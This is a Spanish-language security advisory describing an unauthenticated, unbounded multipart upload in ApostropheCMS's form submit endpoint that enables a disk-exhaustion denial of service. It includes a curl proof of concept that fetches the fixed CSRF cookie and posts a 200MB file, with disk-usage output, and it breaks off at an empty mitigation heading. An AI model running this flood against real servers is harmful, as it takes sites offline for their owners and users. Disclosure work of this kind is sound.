ApostropheCMS: Carga multipart no autenticada e ilimitada provoca DoS por agotamiento de disco

Resumen

El endpoint de envío de formularios ejecuta multer({ dest: os.tmpdir() }).any() antes de la autenticación, clave de API, lógica equivalente a CSRF o comprobación de existencia del formulario, sin límites de tamaño, recuento ni tasa. Los usuarios no autenticados pueden transmitir cuerpos sin límite al disco por solicitud; la limpieza ocurre solo tras recibir el cuerpo completo.

Detalles

packages/form/index.js apiRoutes.post.submit (L274–296): [ multer({ dest: os.tmpdir() }).any(), self.normalizeFiles, async function (req) { try { submitForm } finally { unlink files } } ]. Sin limits, sin limitación de tasa y sin validación previa. "CSRF" es una cookie de doble envío de valor fijo (vulnlab.csrf=csrf, establecida en cualquier GET, express/index.js L694–703), fácilmente obtenible de forma anónima.

PoC

$ curl -s -c csrfjar.cookies http://localhost:3100/        # get vulnlab.csrf=csrf (any GET)
$ df -P /tmp                                                # before: used=1105212
$ curl -b csrfjar.cookies -X POST http://localhost:3100/api/v1/@apostrophecms/form/submit \
      -F "file=@/tmp/opencode/big.bin;type=application/octet-stream" &
   DURING transfer:    used=1148668
   still transferring: used=1226936        # +121MB mid-transfer on disk
   http=500 time=1.78s sent=209715411B     # generic error AFTER full staging
# Anonymous, zero credentials. 200MB written to /tmp pre-validation.

Impacto

Cualquier cliente no autenticado puede forzar al servidor a persistir cuerpos completos de solicitudes en el sistema de archivos temporal y decodificarlos con la CPU; las solicitudes paralelas agotan el disco /tmp (caída del proceso/host) y saturan el bucle de eventos, constituyendo un DoS remoto trivial. Las transferencias canceladas conllevan el riesgo de dejar archivos huérfanos (sin limpieza de req.aborted).

Mitigación